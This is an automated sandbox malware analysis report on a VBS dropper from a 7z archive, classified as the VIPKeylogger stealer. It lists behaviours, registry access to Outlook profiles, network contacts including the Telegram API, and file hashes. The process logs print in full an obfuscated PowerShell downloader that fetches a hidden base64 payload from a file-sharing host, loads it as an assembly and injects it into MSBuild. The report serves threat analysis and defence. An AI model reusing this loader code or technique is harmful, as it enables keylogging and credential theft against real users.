Malware Analysis Report

2024-12-07 14:13

Sample ID 241114-td12yszqg1
Target 14112024_1557_14112024_INQ02010391_14112024.7z
SHA256 48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a
Tags
execution vipkeylogger collection discovery keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a

Threat Level: Known bad

The file 14112024_1557_14112024_INQ02010391_14112024.7z was found to be: Known bad.

Malicious Activity Summary

execution vipkeylogger collection discovery keylogger stealer

Vipkeylogger family

VIPKeylogger

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Browser Information Discovery

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

outlook_win_path

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 15:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 15:57

Reported

2024-11-14 16:02

Platform

win7-20241023-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"

Network

Country Destination Domain Proto
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 142.215.209.78:443 1017.filemail.com tcp

Files

memory/2672-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

memory/2672-5-0x000000001B640000-0x000000001B922000-memory.dmp

memory/2672-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 bc940bd93a8bf83d9f1544d4c3575e31
SHA1 e644fd2ebe7dba0ebb54af653d69559389955247
SHA256 a1539573641a04d6093d48b9fd2292920f268fb6173a3423cf10a406e667309d
SHA512 3cbe7116201dd67c4f11d98a7b6925555920f6b7ccb9a4a82480426762d80418e2d1e025c480cebe40e43e08071c34575d4ced7222b8c75451ceb7e05bb028dd

memory/2672-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2672-13-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2672-14-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 15:57

Reported

2024-11-14 16:02

Platform

win10v2004-20241007-en

Max time kernel

119s

Max time network

204s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 720 set thread context of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2120 wrote to memory of 4352 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2120 wrote to memory of 4352 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4352 wrote to memory of 720 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4352 wrote to memory of 720 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 720 wrote to memory of 2568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 76.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 pub-4c182737706e41d29aee6cc5517f834d.r2.dev udp
US 172.66.0.235:443 pub-4c182737706e41d29aee6cc5517f834d.r2.dev tcp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 235.0.66.172.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
JP 132.226.8.169:80 checkip.dyndns.org tcp
US 8.8.8.8:53 169.8.226.132.in-addr.arpa udp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 65.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 96.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 85.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/4352-0-0x00007FFFE13C3000-0x00007FFFE13C5000-memory.dmp

memory/4352-1-0x0000029539AE0000-0x0000029539B02000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dd1duux4.zgr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4352-11-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

memory/4352-12-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

memory/4352-22-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

memory/720-23-0x000001CCF8360000-0x000001CCF84B8000-memory.dmp

memory/2568-24-0x0000000000400000-0x0000000000448000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 feadc4e1a70c13480ef147aca0c47bc0
SHA1 d7a5084c93842a290b24dacec0cd3904c2266819
SHA256 5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac
SHA512 c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

memory/4352-30-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp

memory/2568-31-0x0000000005AA0000-0x0000000006044000-memory.dmp

memory/2568-32-0x0000000005590000-0x000000000562C000-memory.dmp

memory/2568-33-0x0000000006B20000-0x0000000006CE2000-memory.dmp

memory/2568-34-0x00000000069B0000-0x0000000006A00000-memory.dmp

memory/2568-35-0x0000000006CF0000-0x0000000006D82000-memory.dmp

memory/2568-36-0x0000000006AC0000-0x0000000006ACA000-memory.dmp